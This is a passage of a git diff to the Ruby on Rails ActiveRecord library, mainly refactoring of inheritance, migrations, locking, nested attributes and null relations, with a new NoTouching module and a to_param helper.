+
+    STRING = [MAJOR, MINOR, TINY, PRE].compact.join(".")
+  end
+end
diff --git a/activerecord/lib/active_record/inheritance.rb b/activerecord/lib/active_record/inheritance.rb
index 8df76c7..08fc91c 100644
--- a/activerecord/lib/active_record/inheritance.rb
+++ b/activerecord/lib/active_record/inheritance.rb
@@ -5,7 +5,7 @@ module ActiveRecord
     extend ActiveSupport::Concern
 
     included do
-      # Determine whether to store the full constant name including namespace when using STI
+      # Determines whether to store the full constant name including namespace when using STI.
       class_attribute :store_full_sti_class, instance_writer: false
       self.store_full_sti_class = true
     end
@@ -13,21 +13,26 @@ module ActiveRecord
     module ClassMethods
       # Determines if one of the attributes passed in is the inheritance column,
       # and if the inheritance column is attr accessible, it initializes an
-      # instance of the given subclass instead of the base class
+      # instance of the given subclass instead of the base class.
       def new(*args, &block)
         if abstract_class? || self == Base
-          raise NotImplementedError, "#{self} is an abstract class and can not be instantiated."
+          raise NotImplementedError, "#{self} is an abstract class and cannot be instantiated."
         end
-        if (attrs = args.first).is_a?(Hash)
-          if subclass = subclass_from_attrs(attrs)
-            return subclass.new(*args, &block)
-          end
+
+        attrs = args.first
+        if subclass_from_attributes?(attrs)
+          subclass = subclass_from_attributes(attrs)
+        end
+
+        if subclass
+          subclass.new(*args, &block)
+        else
+          super
         end
-        # Delegate to the original .new
-        super
       end
 
-      # True if this isn't a concrete subclass needing a STI type condition.
+      # Returns +true+ if this does not need STI type condition. Returns
+      # +false+ if STI type condition needs to be applied.
       def descends_from_active_record?
         if self == Base
           false
@@ -44,10 +49,12 @@ module ActiveRecord
       end
 
       def symbolized_base_class
+        ActiveSupport::Deprecation.warn("ActiveRecord::Base.symbolized_base_class is deprecated and will be removed without replacement.")
         @symbolized_base_class ||= base_class.to_s.to_sym
       end
 
       def symbolized_sti_name
+        ActiveSupport::Deprecation.warn("ActiveRecord::Base.symbolized_sti_name is deprecated and will be removed without replacement.")
         @symbolized_sti_name ||= sti_name.present? ? sti_name.to_sym : symbolized_base_class
       end
 
@@ -116,13 +123,14 @@ module ActiveRecord
             begin
               constant = ActiveSupport::Dependencies.constantize(candidate)
               return constant if candidate == constant.to_s
-            rescue NameError => e
-              # We don't want to swallow NoMethodError < NameError errors
-              raise e unless e.instance_of?(NameError)
+            # We don't want to swallow NoMethodError < NameError errors
+            rescue NoMethodError
+              raise
+            rescue NameError
             end
           end
 
-          raise NameError, "uninitialized constant #{candidates.first}"
+          raise NameError.new("uninitialized constant #{candidates.first}", candidates.first)
         end
       end
 
@@ -158,7 +166,7 @@ module ActiveRecord
       end
 
       def type_condition(table = arel_table)
-        sti_column = table[inheritance_column.to_sym]
+        sti_column = table[inheritance_column]
         sti_names  = ([self] + descendants).map { |model| model.sti_name }
 
         sti_column.in(sti_names)
@@ -168,7 +176,11 @@ module ActiveRecord
       # is not self or a valid subclass, raises ActiveRecord::SubclassNotFound
       # If this is a StrongParameters hash, and access to inheritance_column is not permitted,
       # this will ignore the inheritance column and return nil
-      def subclass_from_attrs(attrs)
+      def subclass_from_attributes?(attrs)
+        columns_hash.include?(inheritance_column) && attrs.is_a?(Hash)
+      end
+
+      def subclass_from_attributes(attrs)
         subclass_name = attrs.with_indifferent_access[inheritance_column]
 
         if subclass_name.present? && subclass_name != self.name
@@ -183,8 +195,18 @@ module ActiveRecord
       end
     end
 
+    def initialize_dup(other)
+      super
+      ensure_proper_type
+    end
+
     private
 
+    def initialize_internals_callback
+      super
+      ensure_proper_type
+    end
+
     # Sets the attribute used for single table inheritance to this class name if this is not the
     # ActiveRecord::Base descendant.
     # Considering the hierarchy Reply < Message < ActiveRecord::Base, this makes it possible to
diff --git a/activerecord/lib/active_record/integration.rb b/activerecord/lib/active_record/integration.rb
index 2589b2f..31e2518 100644
--- a/activerecord/lib/active_record/integration.rb
+++ b/activerecord/lib/active_record/integration.rb
@@ -1,3 +1,5 @@
+require 'active_support/core_ext/string/filters'
+
 module ActiveRecord
   module Integration
     extend ActiveSupport::Concern
@@ -45,10 +47,19 @@ module ActiveRecord
     #   Product.new.cache_key     # => "products/new"
     #   Product.find(5).cache_key # => "products/5" (updated_at not available)
     #   Person.find(5).cache_key  # => "people/5-20071224150000" (updated_at available)
-    def cache_key
+    #
+    # You can also pass a list of named timestamps, and the newest in the list will be
+    # used to generate the key:
+    #
+    #   Person.find(5).cache_key(:updated_at, :last_reviewed_at)
+    def cache_key(*timestamp_names)
       case
       when new_record?
         "#{self.class.model_name.cache_key}/new"
+      when timestamp_names.any?
+        timestamp = max_updated_column_timestamp(timestamp_names)
+        timestamp = timestamp.utc.to_s(cache_timestamp_format)
+        "#{self.class.model_name.cache_key}/#{id}-#{timestamp}"
       when timestamp = max_updated_column_timestamp
         timestamp = timestamp.utc.to_s(cache_timestamp_format)
         "#{self.class.model_name.cache_key}/#{id}-#{timestamp}"
@@ -56,5 +67,47 @@ module ActiveRecord
         "#{self.class.model_name.cache_key}/#{id}"
       end
     end
+
+    module ClassMethods
+      # Defines your model's +to_param+ method to generate "pretty" URLs
+      # using +method_name+, which can be any attribute or method that
+      # responds to +to_s+.
+      #
+      #   class User < ActiveRecord::Base
+      #     to_param :name
+      #   end
+      #
+      #   user = User.find_by(name: 'Fancy Pants')
+      #   user.id         # => 123
+      #   user_path(user) # => "/users/123-fancy-pants"
+      #
+      # Values longer than 20 characters will be truncated. The value
+      # is truncated word by word.
+      #
+      #   user = User.find_by(name: 'David HeinemeierHansson')
+      #   user.id         # => 125
+      #   user_path(user) # => "/users/125-david"
+      #
+      # Because the generated param begins with the record's +id+, it is
+      # suitable for passing to +find+. In a controller, for example:
+      #
+      #   params[:id]               # => "123-fancy-pants"
+      #   User.find(params[:id]).id # => 123
+      def to_param(method_name = nil)
+        if method_name.nil?
+          super()
+        else
+          define_method :to_param do
+            if (default = super()) &&
+                 (result = send(method_name).to_s).present? &&
+                   (param = result.squish.truncate(20, separator: /\s/, omission: nil).parameterize).present?
+              "#{default}-#{param}"
+            else
+              default
+            end
+          end
+        end
+      end
+    end
   end
 end
diff --git a/activerecord/lib/active_record/locking/optimistic.rb b/activerecord/lib/active_record/locking/optimistic.rb
index 4e17668..4d63b04 100644
--- a/activerecord/lib/active_record/locking/optimistic.rb
+++ b/activerecord/lib/active_record/locking/optimistic.rb
@@ -66,7 +66,7 @@ module ActiveRecord
           send(lock_col + '=', previous_lock_value + 1)
         end
 
-        def update_record(attribute_names = @attributes.keys) #:nodoc:
+        def _update_record(attribute_names = @attributes.keys) #:nodoc:
           return super unless locking_enabled?
           return 0 if attribute_names.empty?
 
@@ -84,7 +84,10 @@ module ActiveRecord
               relation.table[self.class.primary_key].eq(id).and(
                 relation.table[lock_col].eq(self.class.quote_value(previous_lock_value, column_for_attribute(lock_col)))
               )
-            ).arel.compile_update(arel_attributes_with_values_for_update(attribute_names))
+            ).arel.compile_update(
+              arel_attributes_with_values_for_update(attribute_names),
+              self.class.primary_key
+            )
 
             affected_rows = self.class.connection.update stmt
 
@@ -138,6 +141,7 @@ module ActiveRecord
 
         # Set the column to use for optimistic locking. Defaults to +lock_version+.
         def locking_column=(value)
+          @column_defaults = nil
           @locking_column = value.to_s
         end
 
@@ -149,6 +153,7 @@ module ActiveRecord
 
         # Quote the column name used for optimistic locking.
         def quoted_locking_column
+          ActiveSupport::Deprecation.warn "ActiveRecord::Base.quoted_locking_column is deprecated and will be removed in Rails 4.2 or later."
           connection.quote_column_name(locking_column)
         end
 
diff --git a/activerecord/lib/active_record/locking/pessimistic.rb b/activerecord/lib/active_record/locking/pessimistic.rb
index 8e4ddca..ff7102d 100644
--- a/activerecord/lib/active_record/locking/pessimistic.rb
+++ b/activerecord/lib/active_record/locking/pessimistic.rb
@@ -3,12 +3,12 @@ module ActiveRecord
     # Locking::Pessimistic provides support for row-level locking using
     # SELECT ... FOR UPDATE and other lock types.
     #
-    # Pass <tt>lock: true</tt> to <tt>ActiveRecord::Base.find</tt> to obtain an exclusive
+    # Chain <tt>ActiveRecord::Base#find</tt> to <tt>ActiveRecord::QueryMethods#lock</tt> to obtain an exclusive
     # lock on the selected rows:
     #   # select * from accounts where id=1 for update
-    #   Account.find(1, lock: true)
+    #   Account.lock.find(1)
     #
-    # Pass <tt>lock: 'some locking clause'</tt> to give a database-specific locking clause
+    # Call <tt>lock('some locking clause')</tt> to use a database-specific locking clause
     # of your own such as 'LOCK IN SHARE MODE' or 'FOR UPDATE NOWAIT'. Example:
     #
     #   Account.transaction do
@@ -64,7 +64,7 @@ module ActiveRecord
       end
 
       # Wraps the passed block in a transaction, locking the object
-      # before yielding. You pass can the SQL locking clause
+      # before yielding. You can pass the SQL locking clause
       # as argument (see <tt>lock!</tt>).
       def with_lock(lock = true)
         transaction do
diff --git a/activerecord/lib/active_record/log_subscriber.rb b/activerecord/lib/active_record/log_subscriber.rb
index 61e5c12..eb64d19 100644
--- a/activerecord/lib/active_record/log_subscriber.rb
+++ b/activerecord/lib/active_record/log_subscriber.rb
@@ -17,13 +17,15 @@ module ActiveRecord
 
     def initialize
       super
-      @odd_or_even = false
+      @odd = false
     end
 
     def render_bind(column, value)
       if column
         if column.binary?
-          value = "<#{value.bytesize} bytes of binary data>"
+          # This specifically deals with the PG adapter that casts bytea columns into a Hash.
+          value = value[:value] if value.is_a?(Hash)
+          value = value ? "<#{value.bytesize} bytes of binary data>" : "<NULL binary data>"
         end
 
         [column.name, value]
@@ -41,7 +43,7 @@ module ActiveRecord
       return if IGNORE_PAYLOAD_NAMES.include?(payload[:name])
 
       name  = "#{payload[:name]} (#{event.duration.round(1)}ms)"
-      sql   = payload[:sql].squeeze(' ')
+      sql   = payload[:sql]
       binds = nil
 
       unless (payload[:binds] || []).empty?
@@ -60,17 +62,8 @@ module ActiveRecord
       debug "  #{name}  #{sql}#{binds}"
     end
 
-    def identity(event)
-      return unless logger.debug?
-
-      name = color(event.payload[:name], odd? ? CYAN : MAGENTA, true)
-      line = odd? ? color(event.payload[:line], nil, true) : event.payload[:line]
-
-      debug "  #{name}  #{line}"
-    end
-
     def odd?
-      @odd_or_even = !@odd_or_even
+      @odd = !@odd
     end
 
     def logger
diff --git a/activerecord/lib/active_record/migration.rb b/activerecord/lib/active_record/migration.rb
index c15e7a4..557c353 100644
--- a/activerecord/lib/active_record/migration.rb
+++ b/activerecord/lib/active_record/migration.rb
@@ -1,38 +1,49 @@
-require "active_support/core_ext/class/attribute_accessors"
+require "active_support/core_ext/module/attribute_accessors"
 require 'set'
 
 module ActiveRecord
+  class MigrationError < ActiveRecordError#:nodoc:
+    def initialize(message = nil)
+      message = "\n\n#{message}\n\n" if message
+      super
+    end
+  end
+
   # Exception that can be raised to stop migrations from going backwards.
-  class IrreversibleMigration < ActiveRecordError
+  class IrreversibleMigration < MigrationError
   end
 
-  class DuplicateMigrationVersionError < ActiveRecordError#:nodoc:
+  class DuplicateMigrationVersionError < MigrationError#:nodoc:
     def initialize(version)
       super("Multiple migrations have the version number #{version}")
     end
   end
 
-  class DuplicateMigrationNameError < ActiveRecordError#:nodoc:
+  class DuplicateMigrationNameError < MigrationError#:nodoc:
     def initialize(name)
       super("Multiple migrations have the name #{name}")
     end
   end
 
-  class UnknownMigrationVersionError < ActiveRecordError #:nodoc:
+  class UnknownMigrationVersionError < MigrationError #:nodoc:
     def initialize(version)
       super("No migration with version number #{version}")
     end
   end
 
-  class IllegalMigrationNameError < ActiveRecordError#:nodoc:
+  class IllegalMigrationNameError < MigrationError#:nodoc:
     def initialize(name)
       super("Illegal name for migration file: #{name}\n\t(only lower case letters, numbers, and '_' allowed)")
     end
   end
 
-  class PendingMigrationError < ActiveRecordError#:nodoc:
+  class PendingMigrationError < MigrationError#:nodoc:
     def initialize
-      super("Migrations are pending; run 'bin/rake db:migrate RAILS_ENV=#{Rails.env}' to resolve this issue.")
+      if defined?(Rails)
+        super("Migrations are pending. To resolve this issue, run:\n\n\tbin/rake db:migrate RAILS_ENV=#{::Rails.env}")
+      else
+        super("Migrations are pending. To resolve this issue, run:\n\n\tbin/rake db:migrate")
+      end
     end
   end
 
@@ -120,8 +131,8 @@ module ActiveRecord
   #   a column but keeps the type and content.
   # * <tt>change_column(table_name, column_name, type, options)</tt>:  Changes
   #   the column to a different type using the same parameters as add_column.
-  # * <tt>remove_column(table_name, column_names)</tt>: Removes the column listed in
-  #   +column_names+ from the table called +table_name+.
+  # * <tt>remove_column(table_name, column_name, type, options)</tt>: Removes the column
+  #   named +column_name+ from the table called +table_name+.
   # * <tt>add_index(table_name, column_names, options)</tt>: Adds a new index
   #   with the name of the column. Other options include
   #   <tt>:name</tt>, <tt>:unique</tt> (e.g.
@@ -373,23 +384,36 @@ module ActiveRecord
     class << self
       attr_accessor :delegate # :nodoc:
       attr_accessor :disable_ddl_transaction # :nodoc:
-    end
 
-    def self.check_pending!
-      raise ActiveRecord::PendingMigrationError if ActiveRecord::Migrator.needs_migration?
-    end
+      def check_pending!(connection = Base.connection)
+        raise ActiveRecord::PendingMigrationError if ActiveRecord::Migrator.needs_migration?(connection)
+      end
 
-    def self.method_missing(name, *args, &block) # :nodoc:
-      (delegate || superclass.delegate).send(name, *args, &block)
-    end
+      def load_schema_if_pending!
+        if ActiveRecord::Migrator.needs_migration?
+          ActiveRecord::Tasks::DatabaseTasks.load_schema
+          check_pending!
+        end
+      end
 
-    def self.migrate(direction)
-      new.migrate direction
-    end
+      def maintain_test_schema! # :nodoc:
+        if ActiveRecord::Base.maintain_test_schema
+          suppress_messages { load_schema_if_pending! }
+        end
+      end
+
+      def method_missing(name, *args, &block) # :nodoc:
+        (delegate || superclass.delegate).send(name, *args, &block)
+      end
 
-    # Disable DDL transactions for this migration.
-    def self.disable_ddl_transaction!
-      @disable_ddl_transaction = true
+      def migrate(direction)
+        new.migrate direction
+      end
+
+      # Disable DDL transactions for this migration.
+      def disable_ddl_transaction!
+        @disable_ddl_transaction = true
+      end
     end
 
     def disable_ddl_transaction # :nodoc:
@@ -616,9 +640,9 @@ module ActiveRecord
 
       say_with_time "#{method}(#{arg_list})" do
         unless @connection.respond_to? :revert
-          unless arguments.empty? || method == :execute
-            arguments[0] = Migrator.proper_table_name(arguments.first)
-            arguments[1] = Migrator.proper_table_name(arguments.second) if method == :rename_table
+          unless arguments.empty? || [:execute, :enable_extension, :disable_extension].include?(method)
+            arguments[0] = proper_table_name(arguments.first, table_name_options)
+            arguments[1] = proper_table_name(arguments.second, table_name_options) if method == :rename_table
           end
         end
         return super unless connection.respond_to?(method)
@@ -629,7 +653,7 @@ module ActiveRecord
     def copy(destination, sources, options = {})
       copied = []
 
-      FileUtils.mkdir_p(destination) unless File.exists?(destination)
+      FileUtils.mkdir_p(destination) unless File.exist?(destination)
 
       destination_migrations = ActiveRecord::Migrator.migrations(destination)
       last = destination_migrations.last
@@ -671,6 +695,18 @@ module ActiveRecord
       copied
     end
 
+    # Finds the correct table name given an Active Record object.
+    # Uses the Active Record object's own table_name, or pre/suffix from the
+    # options passed in.
+    def proper_table_name(name, options = {})
+      if name.respond_to? :table_name
+        name.table_name
+      else
+        "#{options[:table_name_prefix]}#{name}#{options[:table_name_suffix]}"
+      end
+    end
+
+    # Determines the version number of the next migration.
     def next_migration_number(number)
       if ActiveRecord::Base.timestamped_migrations
         [Time.now.utc.strftime("%Y%m%d%H%M%S"), "%.14d" % number].max
@@ -679,6 +715,13 @@ module ActiveRecord
       end
     end
 
+    def table_name_options(config = ActiveRecord::Base)
+      {
+        table_name_prefix: config.table_name_prefix,
+        table_name_suffix: config.table_name_suffix
+      }
+    end
+
     private
     def execute_block
       if connection.respond_to? :execute_block
@@ -716,7 +759,7 @@ module ActiveRecord
 
       def load_migration
         require(File.expand_path(filename))
-        name.constantize.new
+        name.constantize.new(name, version)
       end
 
   end
@@ -787,17 +830,17 @@ module ActiveRecord
         SchemaMigration.all.map { |x| x.version.to_i }.sort
       end
 
-      def current_version
+      def current_version(connection = Base.connection)
         sm_table = schema_migrations_table_name
-        if Base.connection.table_exists?(sm_table)
+        if connection.table_exists?(sm_table)
           get_all_versions.max || 0
         else
           0
         end
       end
 
-      def needs_migration?
-        current_version < last_version
+      def needs_migration?(connection = Base.connection)
+        current_version(connection) < last_version
       end
 
       def last_version
@@ -808,12 +851,16 @@ module ActiveRecord
         migrations(migrations_paths).last || NullMigration.new
       end
 
-      def proper_table_name(name)
-        # Use the Active Record objects own table_name, or pre/suffix from ActiveRecord::Base if name is a symbol/string
+      def proper_table_name(name, options = {})
+        ActiveSupport::Deprecation.warn "ActiveRecord::Migrator.proper_table_name is deprecated and will be removed in Rails 4.2. Use the proper_table_name instance method on ActiveRecord::Migration instead"
+        options = {
+          table_name_prefix: ActiveRecord::Base.table_name_prefix,
+          table_name_suffix: ActiveRecord::Base.table_name_suffix
+        }.merge(options)
         if name.respond_to? :table_name
           name.table_name
         else
-          "#{ActiveRecord::Base.table_name_prefix}#{name}#{ActiveRecord::Base.table_name_suffix}"
+          "#{options[:table_name_prefix]}#{name}#{options[:table_name_suffix]}"
         end
       end
 
@@ -865,17 +912,11 @@ module ActiveRecord
       @direction         = direction
       @target_version    = target_version
       @migrated_versions = nil
-
-      if Array(migrations).grep(String).empty?
-        @migrations = migrations
-      else
-        ActiveSupport::Deprecation.warn "instantiate this class with a list of migrations"
-        @migrations = self.class.migrations(migrations)
-      end
+      @migrations        = migrations
 
       validate(@migrations)
 
-      ActiveRecord::SchemaMigration.create_table
+      Base.connection.initialize_schema_migrations_table
     end
 
     def current_version
@@ -905,15 +946,7 @@ module ActiveRecord
         raise UnknownMigrationVersionError.new(@target_version)
       end
 
-      running = runnable
-
-      if block_given?
-        message = "block argument to migrate is deprecated, please filter migrations before constructing the migrator"
-        ActiveSupport::Deprecation.warn message
-        running.select! { |m| yield m }
-      end
-
-      running.each do |migration|
+      runnable.each do |migration|
         Base.logger.info "Migrating to #{migration.name} (#{migration.version})" if Base.logger
 
         begin
diff --git a/activerecord/lib/active_record/migration/command_recorder.rb b/activerecord/lib/active_record/migration/command_recorder.rb
index 9782a48..c44d8c1 100644
--- a/activerecord/lib/active_record/migration/command_recorder.rb
+++ b/activerecord/lib/active_record/migration/command_recorder.rb
@@ -73,8 +73,8 @@ module ActiveRecord
       [:create_table, :create_join_table, :rename_table, :add_column, :remove_column,
         :rename_index, :rename_column, :add_index, :remove_index, :add_timestamps, :remove_timestamps,
         :change_column_default, :add_reference, :remove_reference, :transaction,
-        :drop_join_table, :drop_table, :execute_block,
-        :change_column, :execute, :remove_columns, # irreversible methods need to be here too
+        :drop_join_table, :drop_table, :execute_block, :enable_extension,
+        :change_column, :execute, :remove_columns, :change_column_null # irreversible methods need to be here too
       ].each do |method|
         class_eval <<-EOV, __FILE__, __LINE__ + 1
           def #{method}(*args, &block)          # def create_table(*args, &block)
@@ -86,7 +86,7 @@ module ActiveRecord
       alias :remove_belongs_to :remove_reference
 
       def change_table(table_name, options = {})
-        yield ConnectionAdapters::Table.new(table_name, self)
+        yield delegate.update_table_definition(table_name, self)
       end
 
       private
@@ -100,6 +100,7 @@ module ActiveRecord
           add_column:        :remove_column,
           add_timestamps:    :remove_timestamps,
           add_reference:     :remove_reference,
+          enable_extension:  :disable_extension
         }.each do |cmd, inv|
           [[inv, cmd], [cmd, inv]].uniq.each do |method, inverse|
             class_eval <<-EOV, __FILE__, __LINE__ + 1
@@ -139,7 +140,12 @@ module ActiveRecord
 
       def invert_add_index(args)
         table, columns, options = *args
-        [:remove_index, [table, (options || {}).merge(column: columns)]]
+        options ||= {}
+
+        index_name = options[:name]
+        options_hash = index_name ? { name: index_name } : { column: columns }
+
+        [:remove_index, [table, options_hash]]
       end
 
       def invert_remove_index(args)
@@ -156,11 +162,18 @@ module ActiveRecord
       alias :invert_add_belongs_to :invert_add_reference
       alias :invert_remove_belongs_to :invert_remove_reference
 
+      def invert_change_column_null(args)
+        args[2] = !args[2]
+        [:change_column_null, args]
+      end
+
       # Forwards any missing method call to the \target.
       def method_missing(method, *args, &block)
-        @delegate.send(method, *args, &block)
-      rescue NoMethodError => e
-        raise e, e.message.sub(/ for #<.*$/, " via proxy for #{@delegate}")
+        if @delegate.respond_to?(method)
+          @delegate.send(method, *args, &block)
+        else
+          super
+        end
       end
     end
   end
diff --git a/activerecord/lib/active_record/model_schema.rb b/activerecord/lib/active_record/model_schema.rb
index e0b16b4..dc5ff02 100644
--- a/activerecord/lib/active_record/model_schema.rb
+++ b/activerecord/lib/active_record/model_schema.rb
@@ -34,6 +34,12 @@ module ActiveRecord
 
       ##
       # :singleton-method:
+      # Accessor for the name of the schema migrations table. By default, the value is "schema_migrations"
+      class_attribute :schema_migrations_table_name, instance_accessor: false
+      self.schema_migrations_table_name = "schema_migrations"
+
+      ##
+      # :singleton-method:
       # Indicates whether table names should be the pluralized versions of the corresponding class names.
       # If true, the default table name for a Product class will be +products+. If false, it would just be +product+.
       # See table_name for the full rules on table/class naming. This is true, by default.
@@ -124,7 +130,7 @@ module ActiveRecord
         @quoted_table_name = nil
         @arel_table        = nil
         @sequence_name     = nil unless defined?(@explicit_sequence_name) && @explicit_sequence_name
-        @relation          = Relation.new(self, arel_table)
+        @relation          = Relation.create(self, arel_table)
       end
 
       # Returns a quoted version of the table name, used to construct SQL statements.
@@ -260,19 +266,6 @@ module ActiveRecord
         @content_columns ||= columns.reject { |c| c.primary || c.name =~ /(_id|_count)$/ || c.name == inheritance_column }
       end
 
-      # Returns a hash of all the methods added to query each of the columns in the table with the name of the method as the key
-      # and true as the value. This makes it possible to do O(1) lookups in respond_to? to check if a given method for attribute
-      # is available.
-      def column_methods_hash #:nodoc:
-        @dynamic_methods_hash ||= column_names.each_with_object(Hash.new(false)) do |attr, methods|
-          attr_name = attr.to_s
-          methods[attr.to_sym]       = attr_name
-          methods["#{attr}=".to_sym] = attr_name
-          methods["#{attr}?".to_sym] = attr_name
-          methods["#{attr}_before_type_cast".to_sym] = attr_name
-        end
-      end
-
       # Resets all the cached information about columns, which will cause them
       # to be reloaded on the next request.
       #
diff --git a/activerecord/lib/active_record/nested_attributes.rb b/activerecord/lib/active_record/nested_attributes.rb
index 021832d..121f46b 100644
--- a/activerecord/lib/active_record/nested_attributes.rb
+++ b/activerecord/lib/active_record/nested_attributes.rb
@@ -230,6 +230,10 @@ module ActiveRecord
     #     validates_presence_of :member
     #   end
     #
+    # Note that if you do not specify the <tt>inverse_of</tt> option, then
+    # Active Record will try to automatically guess the inverse association
+    # based on heuristics.
+    #
     # For one-to-one nested associations, if you build the new (in-memory)
     # child object yourself before assignment, then this module will not
     # overwrite it, e.g.:
@@ -301,8 +305,8 @@ module ActiveRecord
         options[:reject_if] = REJECT_ALL_BLANK_PROC if options[:reject_if] == :all_blank
 
         attr_names.each do |association_name|
-          if reflection = reflect_on_association(association_name)
-            reflection.options[:autosave] = true
+          if reflection = _reflect_on_association(association_name)
+            reflection.autosave = true
             add_autosave_association_callbacks(reflection)
 
             nested_attributes_options = self.nested_attributes_options.dup
@@ -331,7 +335,7 @@ module ActiveRecord
       # the helper methods defined below. Makes it seem like the nested
       # associations are just regular associations.
       def generate_association_writer(association_name, type)
-        generated_feature_methods.module_eval <<-eoruby, __FILE__, __LINE__ + 1
+        generated_association_methods.module_eval <<-eoruby, __FILE__, __LINE__ + 1
           if method_defined?(:#{association_name}_attributes=)
             remove_method(:#{association_name}_attributes=)
           end
@@ -461,19 +465,17 @@ module ActiveRecord
             association.build(attributes.except(*UNASSIGNABLE_KEYS))
           end
         elsif existing_record = existing_records.detect { |record| record.id.to_s == attributes['id'].to_s }
-          unless association.loaded? || call_reject_if(association_name, attributes)
+          unless call_reject_if(association_name, attributes)
             # Make sure we are operating on the actual object which is in the association's
             # proxy_target array (either by finding it, or adding it if not found)
-            target_record = association.target.detect { |record| record == existing_record }
-
+            # Take into account that the proxy_target may have changed due to callbacks
+            target_record = association.target.detect { |record| record.id.to_s == attributes['id'].to_s }
             if target_record
               existing_record = target_record
             else
-              association.add_to_target(existing_record)
+              association.add_to_target(existing_record, :skip_callbacks)
             end
-          end
 
-          if !call_reject_if(association_name, attributes)
             assign_to_or_mark_for_destruction(existing_record, attributes, options[:allow_destroy])
           end
         else
@@ -540,7 +542,7 @@ module ActiveRecord
     end
 
     def raise_nested_attributes_record_not_found!(association_name, record_id)
-      raise RecordNotFound, "Couldn't find #{self.class.reflect_on_association(association_name).klass.name} with ID=#{record_id} for #{self.class.name} with ID=#{id}"
+      raise RecordNotFound, "Couldn't find #{self.class._reflect_on_association(association_name).klass.name} with ID=#{record_id} for #{self.class.name} with ID=#{id}"
     end
   end
 end
diff --git a/activerecord/lib/active_record/no_touching.rb b/activerecord/lib/active_record/no_touching.rb
new file mode 100644
index 0000000..dbf4564
--- /dev/null
+++ b/activerecord/lib/active_record/no_touching.rb
@@ -0,0 +1,52 @@
+module ActiveRecord
+  # = Active Record No Touching
+  module NoTouching
+    extend ActiveSupport::Concern
+
+    module ClassMethods
+      # Lets you selectively disable calls to `touch` for the
+      # duration of a block.
+      #
+      # ==== Examples
+      #   ActiveRecord::Base.no_touching do
+      #     Project.first.touch  # does nothing
+      #     Message.first.touch  # does nothing
+      #   end
+      #
+      #   Project.no_touching do
+      #     Project.first.touch  # does nothing
+      #     Message.first.touch  # works, but does not touch the associated project
+      #   end
+      #
+      def no_touching(&block)
+        NoTouching.apply_to(self, &block)
+      end
+    end
+
+    class << self
+      def apply_to(klass) #:nodoc:
+        klasses.push(klass)
+        yield
+      ensure
+        klasses.pop
+      end
+
+      def applied_to?(klass) #:nodoc:
+        klasses.any? { |k| k >= klass }
+      end
+
+      private
+        def klasses
+          Thread.current[:no_touching_classes] ||= []
+        end
+    end
+
+    def no_touching?
+      NoTouching.applied_to?(self.class)
+    end
+
+    def touch(*)
+      super unless no_touching?
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/null_relation.rb b/activerecord/lib/active_record/null_relation.rb
index 9820fc6..807c301 100644
--- a/activerecord/lib/active_record/null_relation.rb
+++ b/activerecord/lib/active_record/null_relation.rb
@@ -23,7 +23,7 @@ module ActiveRecord
     end
 
     def size
-      0
+      calculate :size, nil
     end
 
     def empty?
@@ -39,19 +39,39 @@ module ActiveRecord
     end
 
     def to_sql
-      @to_sql ||= ""
+      ""
     end
 
     def count(*)
-      0
+      calculate :count, nil
     end
 
     def sum(*)
-      0
+      calculate :sum, nil
+    end
+
+    def average(*)
+      calculate :average, nil
+    end
+
+    def minimum(*)
+      calculate :minimum, nil
+    end
+
+    def maximum(*)
+      calculate :maximum, nil
     end
 
-    def calculate(_operation, _column_name, _options = {})
-      nil
+    def calculate(operation, _column_name, _options = {})
+      # TODO: Remove _options argument as soon we remove support to
+      # activerecord-deprecated_finders.
+      if [:count, :sum, :size].include? operation
+        group_values.any? ? Hash.new : 0
+      elsif [:average, :minimum, :maximum].include?(operation) && group_values.any?
+        Hash.new
+      else
+        nil
+      end
     end
 
     def exists?(_id = false)
diff --git a/activerecord/lib/active_record/persistence.rb b/activerecord/lib/active_record/persistence.rb
index 1d824b5..9d95365 100644
--- a/activerecord/lib/active_record/persistence.rb
+++ b/activerecord/lib/active_record/persistence.rb
@@ -10,9 +10,6 @@ module ActiveRecord
       # The +attributes+ parameter can be either a Hash or an Array of Hashes. These Hashes describe the
       # attributes on the objects that are to be created.
       #
-      # +create+ respects mass-assignment security and accepts either +:as+ or +:without_protection+ options
-      # in the +options+ parameter.
-      #
       # ==== Examples
       #   # Create a single new object
       #   User.create(first_name: 'Jamie')
@@ -40,7 +37,7 @@ module ActiveRecord
       end
 
       # Given an attributes hash, +instantiate+ returns a new instance of
-      # the appropriate class.
+      # the appropriate class. Accepts only keys as strings.
       #
       # For example, +Post.all+ may return Comments, Messages, and Emails
       # by storing the record's subclass in a +type+ attribute. By calling
@@ -49,10 +46,10 @@ module ActiveRecord
       #
       # See +ActiveRecord::Inheritance#discriminate_class_for_record+ to see
       # how this "single-table" inheritance mapping is implemented.
-      def instantiate(record, column_types = {})
-        klass = discriminate_class_for_record(record)
+      def instantiate(attributes, column_types = {})
+        klass = discriminate_class_for_record(attributes)
         column_types = klass.decorate_columns(column_types.dup)
-        klass.allocate.init_with('attributes' => record, 'column_types' => column_types)
+        klass.allocate.init_with('attributes' => attributes, 'column_types' => column_types)
       end
 
       private
@@ -67,7 +64,7 @@ module ActiveRecord
     end
 
     # Returns true if this object hasn't been saved yet -- that is, a record
-    # for the object doesn't exist in the data store yet; otherwise, returns false.
+    # for the object doesn't exist in the database yet; otherwise, returns false.
     def new_record?
       sync_with_transaction_state
       @new_record
@@ -184,6 +181,7 @@ module ActiveRecord
       became = klass.new
       became.instance_variable_set("@attributes", @attributes)
       became.instance_variable_set("@attributes_cache", @attributes_cache)
+      became.instance_variable_set("@changed_attributes", @changed_attributes) if defined?(@changed_attributes)
       became.instance_variable_set("@new_record", new_record?)
       became.instance_variable_set("@destroyed", destroyed?)
       became.instance_variable_set("@errors", errors)
@@ -198,7 +196,11 @@ module ActiveRecord
     # share the same set of attributes.
     def becomes!(klass)
       became = becomes(klass)
-      became.public_send("#{klass.inheritance_column}=", klass.sti_name) unless self.class.descends_from_active_record?
+      sti_type = nil
+      if !klass.descends_from_active_record?
+        sti_type = klass.sti_name
+      end
+      became.public_send("#{klass.inheritance_column}=", sti_type)
       became
     end
 
@@ -267,7 +269,7 @@ module ActiveRecord
     # This method raises an +ActiveRecord::ActiveRecordError+ when called on new
     # objects, or when at least one of the attributes is marked as readonly.
     def update_columns(attributes)
-      raise ActiveRecordError, "can not update on a new record object" unless persisted?
+      raise ActiveRecordError, "cannot update on a new record object" unless persisted?
 
       attributes.each_key do |key|
         verify_readonly_attribute(key.to_s)
@@ -345,7 +347,8 @@ module ActiveRecord
